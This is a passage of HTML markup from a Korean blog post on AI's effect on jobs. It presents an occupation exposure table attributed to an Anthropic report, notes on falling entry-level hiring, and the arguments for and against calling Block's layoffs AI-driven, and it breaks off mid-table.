&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic 보고서와 CBS News 등의 보도를 바탕으로 정리한 직종별 AI 노출도이다. &quot;AI 업무 커버리지&quot;란 해당 직종의 업무 중 AI가 이론적으로 수행 가능한 비율을 의미한다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;직종&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #2a5a82;&quot;&gt;AI 업무 커버리지&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #2a5a82;&quot;&gt;위험도&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;컴퓨터 프로그래머&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;75%&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;매우 높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;코드 생성, 디버깅, 테스트 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;데이터 입력 사무원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;매우 높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;반복적 데이터 처리 완전 자동화 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;고객 서비스 담당자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;챗봇, 음성 AI 대체 가속화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;금융 분석가&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;데이터 분석, 보고서 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;법률 보조원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;문서 검토, 판례 조사 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;의무 기록 전문가&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;의료 문서 작성, 코딩 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;관리/사무직 전반&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;중~높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;중간&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;일정 관리, 이메일, 보고서 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;경영/전략&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;중간&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;중간&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;의사결정 보조, 데이터 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;의료/간호&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;대면 치료, 물리적 케어는 대체 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;건설/현장 노동&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;매우 낮음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;매우 낮음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;물리적 작업 중심, AI 대체 한계&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.anthropic.com/research/labor-market-impacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Research&lt;/a&gt;, &lt;a href=&quot;https://www.cbsnews.com/news/anthropic-ai-jobs-most-exposed-risk/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CBS News&lt;/a&gt; 보도 종합. &quot;AI 업무 커버리지&quot;는 Anthropic이 Claude 사용 데이터를 기반으로 측정한 이론적 수행 가능 비율이며, 실제 대체율은 이보다 낮다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: &quot;커버리지&quot;는 &quot;대체&quot;가 아니다&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;AI 업무 커버리지 75%는 &quot;프로그래머 4명 중 3명이 해고된다&quot;는 뜻이 아니다. 해당 직종의 업무 중 75%를 AI가 &quot;이론적으로 수행 가능하다&quot;는 의미이다. Anthropic 연구진 스스로도 &quot;실제 도입률은 이론적 가능성의 일부분에 불과하다(actual adoption is just a fraction of what's theoretically capable)&quot;고 명시했다. 이론적 가능성과 현실적 도입 사이에는 상당한 격차가 존재한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;22~25세 신규 채용 감소 추세&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보고서에서 가장 우려되는 부분은 젊은 세대에 대한 영향이다. AI 노출도가 높은 직종에서, &lt;b&gt;22~25세 연령대의 신규 채용이 감소하는 잠정적(tentative) 추세&lt;/b&gt;가 관측되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 의미하는 바는 심각하다. AI가 기존 직원을 대량 해고하는 것보다, &lt;b&gt;신규 채용 자체를 줄이는 방식으로 영향을 미치고 있을 가능성&lt;/b&gt;이 있다는 것이다. 즉, 현재 일자리를 가진 사람은 당장 해고당하지 않더라도, 새로 취업 시장에 진입하는 사회 초년생에게는 기회 자체가 줄어들고 있을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic 보고서는 또한 AI 노출 직종이 2034년까지 성장 속도가 둔화될 것으로 전망했다. 이 직종 종사자들의 인구통계학적 특징은 &quot;나이가 많고, 여성 비율이 높으며, 교육 수준이 높고, 급여가 높은&quot; 경향이 있다고 분석했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;대공황&quot; 헤드라인의 맥락&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fortune이 Anthropic 보고서를 인용하며 달은 &lt;b&gt;&quot;화이트칼라 노동자를 위한 '대공황'이 완전히 가능하다&quot;&lt;/b&gt;는 헤드라인은 많은 직장인에게 불안을 안겼다. 하지만 이 헤드라인의 맥락을 정확히 이해할 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fortune 기사의 원문을 보면, &quot;absolutely possible&quot;이라는 표현은 Anthropic 연구진의 직접적 결론이 아니라, 보고서의 데이터를 분석한 외부 전문가의 코멘트이다. Anthropic 연구진 스스로는 훨씬 조심스러운 어조를 유지했다. &quot;아직 실업률에 대한 유의미한 영향은 관측되지 않았다&quot;는 것이 보고서의 공식 결론이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 식의 &lt;b&gt;헤드라인 과장&lt;/b&gt;은 AI 담론에서 반복적으로 나타나는 패턴이다. 연구 결과는 &quot;아직은 아니지만 가능성이 있다&quot;인데, 헤드라인은 &quot;대공황이 온다&quot;로 변환된다. 뉴스를 읽을 때 본문까지 꼼꼼히 확인하는 습관이 필요한 이유이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직종별 상세 분석 -- 왜 프로그래머가 1위인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic 보고서에서 컴퓨터 프로그래머가 AI 업무 커버리지 75%로 1위를 차지한 것은 의외로 느껴질 수 있다. AI가 코드를 대신 짜주니까? 정확히 말하면, AI가 프로그래밍 &quot;업무&quot;의 많은 부분을 보조할 수 있다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그래밍 업무를 세분화하면 다음과 같다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;업무 유형&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;AI 보조 가능 수준&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;현재 AI 도구&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;보일러플레이트 코드 작성&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;매우 높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Copilot, Claude Code, Cursor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;단위 테스트 작성&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Copilot, ChatGPT, Claude&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;버그 디버깅&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;중~높음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Claude, ChatGPT (복잡한 버그는 한계)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;코드 리뷰&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;중간&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;CodeRabbit, PR-Agent 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;시스템 아키텍처 설계&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;조언은 가능하나 판단은 사람 몫&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;요구사항 분석 및 이해관계자 소통&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;매우 낮음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;사실상 대체 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;장애 대응 및 의사결정&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;매우 낮음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;사실상 대체 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI가 &quot;코딩의 75%를 할 수 있다&quot;는 것은, 위 표에서 AI 보조 가능 수준이 높은 업무들이 프로그래머 전체 업무 시간의 상당 부분을 차지한다는 의미이다. 하지만 &lt;b&gt;나머지 25%가 바로 프로그래머를 프로그래머답게 만드는 핵심 역량&lt;/b&gt;이다. AI가 보일러플레이트 코드를 대신 써준다고 해서 프로그래머가 필요 없어지는 것이 아니라, 프로그래머가 더 높은 수준의 업무에 집중할 수 있게 되는 것일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것은 마치 Excel의 등장으로 회계사가 사라지지 않은 것과 같다. 수작업 계산은 사라졌지만, 회계사의 역할은 &quot;더 전략적인 재무 분석&quot;으로 진화했다. 프로그래머도 마찬가지일 가능성이 높다 -- 다만 그 전환 과정에서 일부 역할이 축소될 수는 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Anthropic 보고서의 한계도 인식해야 한다&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;이 보고서는 Anthropic의 AI 모델 Claude 사용 데이터를 기반으로 측정한 것이다. 즉, &quot;AI를 많이 쓰는 직종 = AI에 노출된 직종&quot;이라는 전제에 기반한다. The Register는 2026년 3월 7일 기사에서 &quot;Anthropic 연구진 스스로도 AI가 아직 고용에 큰 영향을 미치지 못했다고 인정했다&quot;고 보도했다. AI가 노동 시장에 미치는 영향은 현재 진행형이며, 이 보고서는 하나의 초기 측정 프레임워크로 이해하는 것이 적절하다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 6: 찬반 논쟁 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. AI 해고에 대한 찬반 논쟁&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block 사태와 AI 워싱 논쟁을 둘러싼 시각은 크게 세 가지로 나뉜다. 각 진영의 논거를 공정하게 살펴보겠다. 이 논쟁은 단순히 &quot;Block 이야기&quot;가 아니다. AI 시대의 기업 경영, 노동자 권리, 기술 발전의 방향에 대한 근본적 물음이 담겨 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;논쟁의 핵심 질문&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;이 논쟁을 관통하는 핵심 질문은 하나이다: &lt;b&gt;&quot;AI가 사람을 대체하고 있는가, 아니면 '대체할 것이다'라는 기대가 사람을 대체하고 있는가?&quot;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;전자가 사실이라면, 기업의 해고는 기술 발전에 대한 합리적 대응이다. 후자가 사실이라면, 기업은 검증되지 않은 기대를 근거로 사람들의 생계를 위협하고 있는 것이다. 현실은 아마 그 사이 어딘가에 있을 것이다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;찬성론: 구조적 전환은 불가피하다&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;논거&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;1. AI 생산성 향상은 측정 가능하다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;GitHub Copilot 등 AI 코딩 도구가 개발자 생산성을 높인다는 연구가 다수 존재한다. 특정 업무에서 AI가 인간보다 빠르고 정확한 것은 사실이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2. 역사적 선례가 있다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;산업혁명, 컴퓨터 혁명 때도 일자리 구조가 바뀌었다. 단기 고통이 있었지만, 장기적으로 더 많은 새로운 일자리가 생겨났다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;3. 선제적 대응이 합리적이다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 전환이 불가피하다면, 위기에 몰려서 급격하게 대응하는 것보다 미리 준비하는 것이 직원에게도, 기업에게도 낫다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;4. 경쟁력 문제이다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI를 도입하지 않는 기업은 AI를 도입한 경쟁사에 밀릴 수 있다. 이는 결국 해당 기업 전체 직원의 일자리 위험으로 이어진다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;반대론: AI는 명분일 뿐이다&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #e0a0a0; font-weight: 600;&quot;&gt;논거&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #e0a0a0; font-weight: 600;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;1. 95%가 ROI 제로이다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;MIT 연구에 따르면 기업 AI 파일럿의 95%가 측정 가능한 ROI를 내지 못하고 있다. AI가 아직 사람을 대체할 수준이 아니라는 뜻이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2. 타이밍이 수상하다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Block은 코로나 때 직원을 3,835명에서 10,000명 이상으로 늘렸다. 이번 해고 후 6,000명이면, 사실상 과잉 채용의 정상화에 가깝다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;3. &quot;AI 해고&quot;가 투자자에게 유리하다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;HBR 설문에서 60%의 채용 관리자가 AI를 해고 이유로 드는 것이 재정적 이유보다 긍정적으로 인식된다고 답했다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;4. AI 대체 증거가 없다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;대부분의 기업이 &quot;AI가 대체했다&quot;가 아니라 &quot;AI가 대체할 것이다&quot;라는 미래형으로 해고를 설명한다. 현재 검증된 성과가 아닌 기대감이 근거이다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;반대론을 뒷받침하는 추가 데이터&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대론의 핵심 근거를 좀 더 깊이 들여다보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;UC Berkeley의 연구 결과:&lt;/b&gt; UC Berkeley의 연구는 AI가 오히려 사람들을 &lt;b&gt;&quot;더 많이&quot; 일하게 만들 수 있다&lt;/b&gt;는 역설적 결과를 보여주었다. AI 도구를 사용하면 개별 업무는 빨라지지만, 그만큼 더 많은 업무가 할당되어 전체 업무량은 줄어들지 않거나 오히려 늘어난다는 것이다. 이른바 &lt;b&gt;&quot;AI 생산성 함정(AI Productivity Trap)&quot;&lt;/b&gt;이라고 불리는 현상이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a href=&quot;https://www.techbrew.com/stories/2026/02/10/AI-productivity-trap-HBR&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Tech Brew, 2026년 2월&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2025년 해고 데이터의 맥락:&lt;/b&gt; 2025년 미국에서 발표된 전체 감원 약 120만 건 중 AI가 명시적으로 언급된 것은 약 55,000건, 전체의 4.5%에 불과했다. 나머지 95.5%는 AI와 무관한 이유(경영 악화, 사업 철수, 합병 등)로 해고되었다. AI가 일자리 위기의 주범이라면, 이 비율이 왜 4.5%에 불과한가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Fast Company CEO 인터뷰:&lt;/b&gt; Fast Company의 기사에서 한 CEO는 &quot;AI 해고의 진짜 이유는 AI가 아니다&quot;라고 직접적으로 발언했다. 기업들이 AI를 해고의 명분으로 쓰는 진짜 이유는 (1) 투자자 설득, (2) 해고에 대한 사회적 비판 완화, (3) &quot;혁신 기업&quot; 이미지 구축이라는 것이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://www.fastcompany.com/91503535/this-ceo-explains-whats-really-behind-layoffs-and-its-not-ai&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fast Company, 2026&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;중립론: 아직 이르다&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #e0d080; font-weight: 600;&quot;&gt;논거&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #e0d080; font-weight: 600;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
